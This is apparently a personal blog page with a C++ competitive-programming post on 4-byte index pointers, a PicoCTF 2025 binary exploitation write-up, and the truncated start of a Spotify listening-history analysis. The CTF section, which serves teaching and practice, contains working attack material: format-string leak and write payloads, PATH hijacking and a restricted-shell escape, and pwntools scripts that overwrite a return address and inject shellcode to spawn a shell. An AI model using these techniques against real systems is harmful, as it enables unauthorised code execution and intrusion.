Richard Yi’s Blog

4-byte Pointers in Competitive Programming

2025-04-12T07:22:04+00:00

In this article I discuss a niche trick involving data structures in competitive programming that use pointers. This trick is specific to competitors who use C++ and online graders that use 64-bit machines, which is the most common.

Some data structures like binary search trees in competitive programming are somewhat rare since “static trees” such as the binary indexed tree and segment tree usually get the job done. Static trees are tree data structures where the shape of the tree never changes, so pointers are actually just indexes in an array. For example, in binary indexed trees, the index of the parent of a node can be found by subtracting the least significant bit, and in segment trees, the left and right children are double the current index and double the current index plus one, respectively.

In balanced binary search trees such as treaps and splay trees, as well as persistent data structures where new nodes are allocated upon update, pointers are commonly used, with struct definitions much more reminiscent of those seen in an introductory algorithms course:

struct node {
    int value;
    node *left, *right;
};

node* make_node(int value, node *left, node *right) {
    return new node { value, left, right };
}

void traverse(node *n) {
    if(!n) {
        return;
    }
    traverse(n->left);
    std::cout << n->value << "\n";
    traverse(n->right);
}

In problems where nodes aren’t deleted or where there’s no need to reclaim the memory from deleted nodes, it’s faster and more space-efficient to declare all the nodes in the BSS segment in a single store rather than using the heap:

// Maximum number of nodes allocated in the entire program
const int MAX = 1e6;
int current_idx = 0;
node store[MAX];
node* make_node(int value, node *left, node *right) {
    store[current_idx] = { value, left, right };
    node* pointer = &store[current_idx];
    ++current_idx;
    return pointer;
}

Now we have the option of just storing the indexes in the struct instead of the pointers, which require us to designate an index as the null pointer and change all of our functions as well:

struct node {
    int value;
    int left_idx, right_idx;
};

// Something large so it causes a segfault
// when dereferenced, making it easier to debug
const int null = 1e9;

void traverse(int node_idx) {
    if(node_idx == null) {
        return;
    }
    traverse(store[node_idx].left);
    std::cout << store[node_idx].value << "\n";
    traverse(store[node_idx].right);
}

It can get cumbersome to keep having to refer to the store each time we “deference” the index, especially if we need to do it more than once:

// This function is just for demonstration, it has no applications
int zigzag(int node_idx){
    return store[store[store[node_index].right].left].right;
}

While we almost always benefit from using BSS-allocated nodes instead of heap nodes where appropriate, in both time and space, the only real benefit to storing indexes instead of pointers is using less space, and it is even at the cost of time since the computer must now do pointer arithmetic every time it “dereferences” the index.

As such, the only appropriate time to do this is if the allowed memory limit is tight, which can happen with persistent segment trees or 2D range trees which use $\Theta(n \log n)$ nodes or with square root decomposition solutions that use $\Theta(n \sqrt n)$ nodes. Of course, competitors should first consider reducing the number of fields in the node structs and reorder fields to minimize struct padding. Storing int indexes instead of pointers will only save 4 bytes per pointer, plus possibly some padding if the layout becomes more favorable and the struct no longer uses any 8-byte fields.

In these cases, we can take advantage of C++’s operator overloading to keep pointer semantics while using indexes:

struct node;

// Pointer to node
struct pnode {
    unsigned int idx;
    explicit operator bool();
    node& operator*();
    node* operator->();
    bool operator==(pnode &other);
};

const int NULL_IDX = 1e9;
const pnode null = { NULL_IDX };

struct node {
    int value;
    pnode left, right;
};

node store[MN];

pnode::operator bool() {
    return idx != NULL_IDX;
}

node& pnode::operator*() {
    return store[idx];
}

node* pnode::operator->() {
    return store + idx;
}

bool pnode::operator==(pnode &other) {
    return idx == other.idx;
}

Now we can write all of our functions how we would before, replacing node* with pnode.

Modern programming contests generally don’t test contestants’ abilities to optimize for space, so problems where a lot of memory is intended to be needed will set a generous memory limit, but this trick can be used to get an unintended memory-hungry solution within the memory limit, especially given that a lot of problems admit easier, unintended solutions that use square root decomposition.

In the examples above, the original struct takes up 24 bytes (due to padding), and the struct with int indexes takes up only 12. If 10 million nodes are required in a solution, which can easily be the case with solution that use $\Theta(n \log n)$ or $\Theta(n \sqrt n)$ nodes, we can save 120MB, which can make the difference between making the memory limit or not.

In Database, a problem with a persistent segment tree solution, I was able to save 63MB by switching from heap allocation to BSS allocation, and 33MB by switching from pointers to indexes, so actual savings may vary.

Bonus: Packing and 3-Byte Pointers

Outside of re-ordering the fields of a struct, we can also pack structs to force unaligned accesses, giving us better space usage at the cost of time:

struct __attribute__((packed)) node {
    long long int key;
    int value;
    pnode left, right;
};

In this example, assuming we are using a 4-byte pnode, we can save 4 bytes of padding in this example at the cost of having the key field possibly being loaded at an unaligned address, which costs more CPU cycles.

To go one step further: if we know that we won’t use more than $2^{16}$ nodes (including one value reserved for the null pointer), we can use an unsigned short, giving us 2-byte pointers, but more realistically for contest problems, if we will be using between $2^{16}$ and $2^{24}$ nodes, we can instead use a bit field:

struct __attribute__((packed)) node {
    long long int key;
    int value;
    pnode left, right;
};

struct __attribute__((packed)) pnode {
    unsigned int idx : 24;

    explicit operator bool();
    node& operator*();
    node* operator->();
    bool operator==(pnode &other);
};

This will make all pnode pointers 3 bytes, but now potentially every field in node will have unaligned reads and writes, considerably slowing things down. On Database, this approach saved 9MB over 4-byte pointers, at the cost of of a 46% slowdown.

PicoCTF 2025 Binary Exploit Roundup

2025-03-18T07:22:04+00:00

Despite no heap exploitation problems in this year’s PicoCTF, the binary exploitation problems were both very interesting and informative.

PIE TIME

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

We note the binary is 64-bit:

$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64 [...]

In this problem, the program tells us the location of main loaded in memory, then jumps to any address the user enters.

Due to Address Space Layout Randomization (ASLR) of the instructions, (also called PIE or Position Independent Executable in the case that it is the base instruction pointer being random), we don’t know the address we want to jump to until we learn the location of an address.

Looking into the relevant areas of the disassembly of the binary, which we can obtain through objdump -D <binary name>:

00000000000012a7 <win>:
    12a7:	f3 0f 1e fa          	endbr64
    12ab:	55                   	push   rbp
[...]

000000000000133d <main>:
    133d:	f3 0f 1e fa          	endbr64
    1341:	55                   	push   rbp
    1342:	48 89 e5             	mov    rbp,rsp
[...]

The address of win is 00000000000012a7 and the address of main is 000000000000133d. However, when the executable is loaded into memory, they aren’t actually loaded at that address, but at a random offset plus that address. Each execution of the executable, the offset is different. Getting the address of main, subtracting 000000000000133d to get this offset, then adding 00000000000012a7 to get the address of win loaded in memory, which is what we have to input. Note that all numbers here are in hexadecimal.

Example interaction:

$ nc rescued-float.picoctf.net 58649
Address of main: 0x5de97f6d233d
Enter the address to jump to, ex => 0x12345: 0x5de97f6d22a7
Your input: 5de97f6d22a7
You won!
picoCTF{<FLAG>}

We calculated that we needed to enter 0x5de97f6d22a7 = 0x5de97f6d233d - 0x000000000000133d + 0x00000000000012a7 e.g. using Python:

$ python3
>>> hex(0x5de97f6d233d - 0x000000000000133d + 0x00000000000012a7)
'0x5de97f6d22a7'

PIE TIME 2

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

We note again the program is 64-bit.

This time we don’t get the address of main for free, we will have to get find the address of some instruction. We note that instead the program does printf(buffer); instead of printf("%s", buffer); to print the buffer, it will interpret any % in buffer as a format string. This leaves open a vulnerability called a Format String Vulnerability. We will see later a more powerful way to leverage this vulnerability, but for now we use this to insepct the stack.

Arguments in x86-64

In x86-64, the first 6 functions are passed in through the registers rdi, rsi, rdx, rcx, r8, and r9 respectively. The rest of the arguments are pushed onto the stack where they sit just lower than the stack address. That means if printf expects an argument when it encounters a format specifier %<specifier>, it will first look for rsi (since the format string pointer itself is passed through rdi), then rdx, then rcx, then r8, then r9, then down the stack, 8 bytes at a time.

By entering %lx %lx %lx %lx %lx… into the program, we can read off those 5 registers, then the entire stack, 8 (l) bytes at time, in hexadecimal (x). Both because we want to speed things up, and buffer only holds up to 64 bytes, we can take advantage of a GCC extension to printf where a format specifier of the form %<num>$<specifier> will act like the specifier, but the num-th argument passed in (1-indexed). We can use this to find the address that call_functions returns to back into main, which we can see is 0x1441.

0000000000001400 <main>:
    1400:	f3 0f 1e fa          	endbr64
    [...]
    142f:	48 89 c7             	mov    rdi,rax
    1432:	e8 49 fd ff ff       	call   1180 <setvbuf@plt>
    1437:	b8 00 00 00 00       	mov    eax,0x0
    143c:	e8 86 fe ff ff       	call   12c7 <call_functions>
    1441:	b8 00 00 00 00       	mov    eax,0x0
    1446:	5d                   	pop    rbp

With a bit of trial and error, knowing that the random address that the instruction will load in an address with the same low bits as 0x1441 and will therefore end in 441, we can find that printing out the 19th (imaginary) arugment to printf will reveal the return address, which we can get by entering %19$lx. Once again, we can subtract 0x1441 from this value, and add back the address of win, 0x136a, we can enter the address to jump to.

Example interaction:

$ ./vuln
$ nc rescued-float.picoctf.net 62662
Enter your name:%19$lx
5b6438910441
 enter the address to jump to, ex => 0x12345: 0x5b643891036a
You won!
picoCTF{<FLAG>}

hash-only-1

We take a little break from exploiting a binary and instead try to exploit a shell session. Upon ssh-ing into the given server and running the flaghasher binary we are asked to, we are greeted with the MD5 hash of the flag:

$ ssh ctf-player@shape-facility.picoctf.net -p 53721
[...]
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt.... 

37b576b3ec8179c5714bcd173ce8c1cc  /root/flag.txt

While MD5 is known to be cryptographically insecure, it would still be infeasible to find what flag produces this hash. Decompiling this binary using Ghidra gives nothing useful:

bool main(void)

{
  ostream *stream;
  char *c_str;
  long in_FS_OFFSET;
  bool bad_ret;
  allocator alloc;
  int ret;
  string str [40];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  stream = std::operator<<((ostream *)std::cout,"Computing the MD5 hash of /root/flag.txt.... ");
  stream = (ostream *)std::ostream::operator<<(stream,std::endl<>);
  std::ostream::operator<<(stream,std::endl<>);
  sleep(2);
  std::allocator<char>::allocator();
                    /* try { // try from 001013aa to 001013ae has its CatchHandler @ 0010144f */
  std::string::string(str,"/bin/bash -c \'md5sum /root/flag.txt\'",&alloc);
  std::allocator<char>::~allocator((allocator<char> *)&alloc);
  setgid(0);
  setuid(0);
  c_str = (char *)std::string::c_str();
                    /* try { // try from 001013de to 00101423 has its CatchHandler @ 0010146d */
  ret = system(c_str);
  bad_ret = ret != 0;
  if (bad_ret) {
    stream = std::operator<<((ostream *)std::cerr,"Error: system() call returned non-zero value: ");
    stream = (ostream *)std::ostream::operator<<(stream,ret);
    std::ostream::operator<<(stream,std::endl<>);
  }
  std::string::~string(str);
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return bad_ret;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

(As usual, variables names are by me, weirdness is by Ghidra).

Decompiling this binary wasn’t even that necessary, the important part could have been found by just finding the command that the program runs:

ctf-player@pico-chall$ strings flaghasher | grep flag
Computing the MD5 hash of /root/flag.txt.... 
/bin/bash -c 'md5sum /root/flag.txt'

We have two possible plans of attack:

Replace /bin/bash with a program to print out the flag, which should work since it would be run with root priviliges
Replace md5sum with cat to just print out the flag

We check the protections of both files:

ctf-player@pico-chall$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
ctf-player@pico-chall$ which md5sum
/usr/bin/md5sum
ctf-player@pico-chall$ ls -l /usr/bin/md5sum
-rwxrwxrwx 1 root root 47480 Sep  5  2019 /usr/bin/md5sum

The last 3 letters of the string at the start of the output to ls -l tell us what a regular user (us) can do to the file. In the case of /bin/bash, we can read and execute but not write, in the case of /usr/bin/md5sum, we can read, write, and execute it. This means we can replace it with cat, provided we have read privileges to it.

ctf-player@pico-chall$ which cat
/usr/bin/cat
ctf-player@pico-chall$ ls -l /usr/bin/cat
-rwxr-xr-x 1 root root 43416 Sep  5  2019 /usr/bin/cat
ctf-player@pico-chall$ cp /usr/bin/cat /usr/bin/md5sum

Running the binary again, the program will just print out the flag now:

ctf-player@pico-chall$ cp /usr/bin/cat /usr/bin/md5sum
ctf-player@pico-chall$ ./flaghasher 
Computing the MD5 hash of /root/flag.txt.... 

picoCTF{<FLAG>}

hash-only-2

We have very much the very same challenge, but this time when we log in, we’re greeted by something else if we try the same thing…

ctf-player@pico-chall$ which flaghasher
/usr/local/bin/flaghasher
ctf-player@pico-chall$ flaghasher
Computing the MD5 hash of /root/flag.txt.... 

b5953e013f83240dab571e2bf2c21f5d  /root/flag.txt
ctf-player@pico-chall$ which md5sum
/usr/bin/md5sum
ctf-player@pico-chall$ ls -l /usr/bin/md5sum
-rwxr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/md5sum

This time we can’t write to /usr/bin/md5sum. There’s actually a third option I didn’t discuss, setting $PATH, the environment variable that contains all the directories the system will look for when running a command. By copying cat to the current directory, renaming it to mdsum, and setting the $PATH to the current directory, flaghasher should run our fake version of md5sum:

ctf-player@pico-chall$ cp /usr/bin/cat ./md5sum
ctf-player@pico-chall$ pwd
/home/ctf-player
ctf-player@pico-chall$ export PATH='/home/ctf-player/'
-rbash: PATH: readonly variable

It would seem that we are logged in as restricted bash, which gives us a number of restrictions, including setting certain environment variables like $PATH. However, we are not restricted from just running a different shell from here:

ctf-player@pico-chall$ ls /usr/bin | grep sh$
bash
c_rehash
chsh
dash
rbash
rsh
sh
ssh

Trying a few out, we see that dash (Debian Almquist shell) will work, even if it can’t process the control codes that changes the color of text:

ctf-player@pico-chall$ dash
\[\e[35m\]\u\[\e[m\]@\[\e[35m\]pico-chall\[\e[m\]$ export PATH='/home/ctf-player/'
\[\e[35m\]\u\[\e[m\]@\[\e[35m\]pico-chall\[\e[m\]$ /usr/local/bin/flaghasher
Computing the MD5 hash of /root/flag.txt.... 

picoCTF{<FLAG>}

Echo Valley

Back to exploiting binaries, though with our old friend the format string vulnerability.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }
    
    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

This time we can’t just give an address to jump to. Let’s pull out the standard tools. Running checksec on the binary:

RELRO           Stack Canary      NX            PIE
Full RELRO      Canary Found      NX enabled    PIE Enabled

Also, the binary is 64-bit.

We can see all the protections are enabled. For completness, let’s break them down:

Full RELRO (Full Relocation Read Only) means .plt.got, the section of the binary that determines where to jump to when calling builtin functions, is read-only, which means as funny as it would be, we can’t exploit the program to jump to print_flag when it tries to call fflush
For the stack canary, you may have noticed the canary variable in the decompiled flaghasher which does nothing but causes the program to call __stack_chk_fail() if it’s changed. This 8-byte (4-byte on x86-32) value sits on the stack between the return address and the rest of the local variables, so if a buffer overflow occurs, it must overwrite the canary before overwriting the return address. If the canary is detected to have changed when the function returns, it will crash the program
NX enabled means that certain areas of the memory, most importantly, the stack, is marked as No eXecute, meaning if the instruction pointer ever points to those areas, the program will crash instead of executing from there. This prevents us from writing instructions to the stack, then jumping execution to the stack
PIE enabled means the same thing as in PIE TIME, and the memory addresses of instructions has a random offset added to them.

Return of the Format String Vulnerability

Even with all of these protections, the printf(buf) call alone will let us write 8 bytes in a location of our choosing, which we will use to overwrite the return address with the location to print_flag.

We’ve covered what %lx does, let’s look at two more relevant format specifiers:

printf("%s", str) where str is a char* will print out the memory that the pointer points to, one byte at a time, as text, until it encounters a 0 byte.
printf("%n", &num) where num is an int (and &num is a pointer to it), will write to num how many bytes have been written so far in the format string before the specifier. For example, printf("12345678901234%n", &num) will write the number 14 to num.
- The variants %hn and %hhn instead of %n instead require a pointer to short and char respectively.

This means in order to view an address of our choosing using printf(buf) call,

We must put an address on the stack. This can be done since buf itself is on the stack, so we can dedicate the first 8 characters of our input into buf as an address
The next characters of our input should be %<num>$s where <num> is the number that makes it so the <num>-th (imaginary) argument of printf will point low enough in the stack to reach the start of buf where the address lies. We can find <num> by reasoning about the layout of the stack, but in the case of this problem, with some trial and error I found it to be 6
Now printf will print off bytes starting from the address we entered

To write one byte to any address we choose, we can do something similar

Put the address on the stack as the first 8 characters of our input to buf
Manipulate the string so that the number of characters we write up to this point is equal to the value we want to write
- One way is to just pad our input with spaces or A until we get to the desired length
- Another way, if we don’t have enough characters in the buffer, is to use %<k>c where k is the byte you want to write. This will print a character, left-padded with spaces, until k characters are printed
The next characters should be %<num>$n, where <num> is the same one as the above

64-bit addresses

In a 64-bit program, even though a pointer address takes up 64 bits, only the lowest 48 bits are used, which means the top 16 bits or 2 bytes must be zero. This means if we try to write an address to the first 8 bytes, we will have to write 0-bytes. This is fine when entering an input, as fgets doesn’t stop consuming input when it encounters a 0-byte, just \n, but printf(buf) will stop as soon as it gets to the 0-byte.

To get around this, we can just put the address at the end of our input, making sure it is aligned to a 8-byte boundary on the stack. For this problem, this means inputting a number of characters that is a multiple of 8 before the address.

The Full Exploit

To eventually jump to print_flag, we

View the return address using %<num>$lx. In this case, through trial and error, I found it to be %21$lx. Through looking at the disassembled binary, the return address is the offset + 0x1413, the print_flag address is 0x1269, so we subtract 0x1413 and add 0x1269 to get our print_flag address
Compute the address holding the return address on the stack. Through trial and error, I found %20$lx holds the previous base pointer that was backed up onto the stack at the beginning of the function. Subtracting 8 bytes gives us the address that we want
One byte at a time, write the new address into the return address. Strictly speaking, since we know that print_flag and the original return address are close in memory, and will share the highest 5 bytes, we only really need to write the lowest 3 bytes of the return address

Since we need to do a lot of computation at runtime as we interface with the program, we use pwntools

from pwn import *
from sys import argv

conn = None
# Back up what we write into a text file
f = open('in.txt', 'wb')

# Helper functions to write to both the process and the text file
def write(s: bytes):
	conn.send(s)
	f.write(s)

def writeline(s: bytes):
	conn.sendline(s)
	f.write(s)
	f.write(b'\n')

# Setup connection to either use local binary or remote
if len(argv) < 2 or argv[1] == '-l':
	conn = process('./valley')
else:
	conn = remote('shape-facility.picoctf.net', 51442)

# Step 1: Leak an address relative to the instruction pointer
# Most easily done with the return address

# Leak 8-byte return address
writeline(b'%21$lx')
conn.recvline()
ret_addr = int(conn.recvline().decode().strip().split(': ')[1], 16)
print(f"Return address: {hex(ret_addr)}")
flag_addr = ret_addr - 0x1413 + 0x1269
print(f"Flag func address: {hex(flag_addr)}")

# Step 2: Leak an address on the stack to compute the address holding the return address

# Gets stack address of base next pointer
writeline(b'%20$lx')
ret_addr_loc = int(conn.recvline().decode().strip().split(': ')[1], 16) - 8
print(f"Return address location: {hex(ret_addr_loc)}")

# Step 3: Write flag function address directly into return address on stack

def write_byte(byte, addr):
	payload = f'%{byte}c'

	# Keep total payload length multiple of 8
	FMT_SPEC_LEN = 7
	padding = '+' * (8 - ((len(payload) + FMT_SPEC_LEN) % 8))
	total = len(payload) + FMT_SPEC_LEN + len(padding)
	assert total % 8 == 0

	# First 5 arguments are from registers instead of stack, plus 1 because 1-indexed
	# Plus one for each 8 characters we've written so far
	num = 6 + total // 8

	# Force format specifier to be 7 chars
	fmt = f'%{num}$hhn' if num >= 10 else f'%0{num}$hhn'

	payload = payload + fmt + padding

	print(b'Writing ' + str(byte).encode() + b' to address ' +
	   hex(addr).encode() + b': ' + payload.encode())
	# Put format spec plus address we want to write
	writeline(payload.encode() + p64(addr))

# Write one byte at a time using hhn
for i in range(3):
 	# Write lowest byte of address
	# Plus i, not minus i, because little-endian
	write_byte(flag_addr & 0xff, ret_addr_loc + i)
	# Shift address one byte to the right
	flag_addr >>= 8

writeline(b'exit')

# ===

f.close()
conn.interactive()

Example output:

[+] Opening connection to shape-facility.picoctf.net on port 51442: Done
Return address: 0x59f1d72f4413
Flag func address: 0x59f1d72f4269
Return address location: 0x7ffc91683618
b'Writing 105 to address 0x7ffc91683618: %105c%08$hhn++++'
b'Writing 66 to address 0x7ffc91683619: %66c%08$hhn+++++'
b'Writing 47 to address 0x7ffc9168361a: %47c%08$hhn+++++'
[*] Switching to interactive mode
You heard in the distance:                                                                                                         \xc0++++\x186h\You heard in the distance:                                                                  \xc0+++++\x196h\x91\xfcYou heard in the distance:                                               \xc0+++++\x1a6h\x91\xfcThe Valley Disappears
Congrats! Here is your flag: picoctf{<FLAG>}
[*] Got EOF while reading in interactive
$ 
[*] Closed connection to shape-facility.picoctf.net port 51442

handoff

Despite the lack of heap exploitation problems, this year’s binary exploitation section still proved to be reasonably challenging, with this being one of the most difficult stack exploitation problems I’ve solved

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
	char name[8];
	char msg[64];
} entry_t;

void print_menu() {
	puts("What option would you like to do?");
	puts("1. Add a new recipient");
	puts("2. Send a message to a recipient");
	puts("3. Exit the app");
}

int vuln() {
	char feedback[8];
	entry_t entries[10];
	int total_entries = 0;
	int choice = -1;
	// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
	while (true) {
		print_menu();
		if (scanf("%d", &choice) != 1) exit(0);
		getchar(); // Remove trailing \n

		// Add entry
		if (choice == 1) {
			choice = -1;
			// Check for max entries
			if (total_entries >= MAX_ENTRIES) {
				puts("Max recipients reached!");
				continue;
			}

			// Add a new entry
			puts("What's the new recipient's name: ");
			fflush(stdin);
			fgets(entries[total_entries].name, NAME_LEN, stdin);
			total_entries++;
			
		}
		// Add message
		else if (choice == 2) {
			choice = -1;
			puts("Which recipient would you like to send a message to?");
			if (scanf("%d", &choice) != 1) exit(0);
			getchar();

			if (choice >= total_entries) {
				puts("Invalid entry number");
				continue;
			}

			puts("What message would you like to send them?");
			fgets(entries[choice].msg, MSG_LEN, stdin);
		}
		else if (choice == 3) {
			choice = -1;
			puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
			fgets(feedback, NAME_LEN, stdin);
			feedback[7] = '\0';
			break;
		}
		else {
			choice = -1;
			puts("Invalid option");
		}
	}
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
	vuln();
	return 0;
}

This time, we get no win function to jump to, meaning we need to spawn a shell. Checking with checksec:

RELRO           Stack Canary      NX            PIE
Partial RELRO   No Canary Found   NX disabled   PIE Disabled

Once again, the program is 64-bit.

Since NAME_LEN is 32 bytes but feedback is 8 bytes long, we can buffer overflow and write 24 bytes out of found.

This is very little, giving us 4 bytes leftover after overwriting the return address. Initially, it seems we could just write shellcode to set up registers and memory, then a syscall to invoke execve("/bin/sh") on the stack and jump to it by overwriting the return address with address of where we wrote our shellcode, but there doesn’t seem to be a way to leak a stack address. Despite PIE being disabled, the stack ASLR is enabled by default at the kernel level, meaning we have no idea where we could jump to.

Usually when we have no leakable stack address, we can attempt a ROP (Return-Oriented Programming) chain, where we look for pieces of code called gadgets that do something desirable, followed by ret. Since ret pops 8 bytes as an address from the stack and jumps to it, if we overflow past the return address on the stack, we also control what address gets popped, letting us jump to another gadget, and so on until we’ve visited all gadgets we wanted, usually with the goal of invoking execve("/bin/sh") through setting up registers and memory, then a syscall.

This is clearly not feasible, as we are left with 4 bytes after the return address, not even enough for a single address. We are effectively given a single jump to somehow get to where we want on the stack.

The only thing with information that can point us towards the stack, without being on the stack already, are the registers. Since we only get one jump and not even a single ret opportunity, we can only work with jumping to points in the code that jump to an address or address relative to one held in a register.

Looking through the assembly code, our candidates are rbp, rsi, rdi, and rax. Analyzing these options:

Since we must overwrite rbp in order to overwrite the return address to get our first jump, there’s no point jumping to jmp rbp since we could have just jumped to that address
Looking at GDB, rsi holds a small value, definitely not an address
rdi holds a value on the stack but it is higher (lower address) than the top of the stack frame and we cannot control it
When we return from vuln, rax is still holding the return value of fgets. In the case that fgets doesn’t run into any errors, it returns the same char* passed into it, which in this case is feedback. This is really useful since we control feedback, specifically the first 20 bytes except the eigth must be 0.

We can now run whatever 20 bytes of machine code we want, provided the eigth is 0, which is still not enough for shellcode or a ROP chain, but enough to jump to a part of the stack that contains our shellcode. Since we are now executing from the stack, we can compute the offset relative to the instruction pointer to jump to.

The full exploit now becomes clear:

Set up shellcode on the stack by using the “message” feature of the app
“Give feedback” on the app, setting up feedback to have
- Instructions to jump to the shellcode set up in the first 7 bytes
- The address of a section of the code containing jmp rax in bytes 20 to 28 (either 0x40116c or 0x4011a3)

I had trouble with segfaults when not using short jump, so I ended up setting up all 10 entries and putting the shellcode in the 10th entry so it’s close to feedback.

from pwn import *
from sys import argv

conn = None
# Back up what we write into a text file
f = open('in.txt', 'wb')

# Helper functions to write to both the process and the text file
def write(s):
	conn.send(s)
	f.write(s)
def writeline(s):
	conn.sendline(s)
	f.write(s)
	f.write(b'\n')

if len(argv) < 2 or argv[1] == '-l':
	conn = process('./handoff')
else:
	conn = remote('shape-facility.picoctf.net', 54699)

def add_entry(name):
	writeline(b'1')
	writeline(name)

def send_msg(n, msg):
	writeline(b'2')
	writeline(str(n).encode('ascii'))
	writeline(msg)

def feedback(msg):
	writeline(b'3')
	writeline(msg)

# Open 10 entries
for i in range(10):
	add_entry(b'a')

context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.sh())

# Step 1: Set up shellcode in last entry
send_msg(9, shellcode)

# Step 2: Short jmp to shellcode in beginning of payload, overwrite
# return address at the end of payload to jump to rax

# Location of code containing jmp rax
jmp_rax = 0x40116c
# Jump 70 bytes back, accounting for these two bytes themselves too
jmp_to_shell= b'\xeb\xba'
padding = (b'\x00' * (20 - len(jmp_to_shell)))
payload = jmp_to_shell + padding + p64(jmp_rax)
assert len(payload) == 28, payload

feedback(payload)

# ===

f.close()
conn.interactive()

Example interaction:

[+] Opening connection to shape-facility.picoctf.net on port 54699: Done
[*] Switching to interactive mode
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
What's the new recipient's name: 
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
Which recipient would you like to send a message to?
What message would you like to send them?
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: 
$ ls
flag.txt
handoff
start.sh
$ cat flag.txt
picoCTF{<FLAG>}

An Analysis of My Entire Spotify Streaming History (2017-2023)

2023-12-28T07:22:04+00:00

The Problem With Spotify Wrapped

Spotify Wrapped is nice, but it just doesn’t give me enough insight over just how bad my music taste is, and it’s only pre-year. I have a couple of questions I’d like answered:

Just how bad is my album/artist diversity?
How many times have I listened to each album, all the way through?
How much of my listening history is just Taylor Swift?
Do the songs I listen to significantly differ based on what time of day it is?

I recently realized that I had actually learned enough during my undergraduate courses and internships to actually answer all of these questions, so it’s time to dig in.

Getting Your Spotify Data

As of 2023, you can download all of your streaming history through Spotify’s privacy settings. There are three options, Account Data, Extended Streaming History, and Technical Log Information. For this project, we want Extended Streaming History since it will contain the UUIDs of the songs which we will need for the Spotify API. It’ll take up to 30 days to arrive, for me, it took around 3 weeks.

Parsing the Logs

I’m using Rust for this part. Outside of embedded programming and as a C/C++ replacement, I find Rust to be a nice general-purpose langugage with okay library support and very nice compile-time checks.

The Spotify download gives a nice table about what data to expect, a JSON array with each element being an object of the following form:

Technical field	Contains
ts	This field is a timestamp indicating when the track stopped playing in UTC (Coordinated Universal Time). The order is year, month and day followed by a timestamp in military time
username	This field is your Spotify username.
platform	This field is the platform used when streaming the track (e.g. Android OS, Google Chromecast). ms_played This field is the number of milliseconds the stream was played.
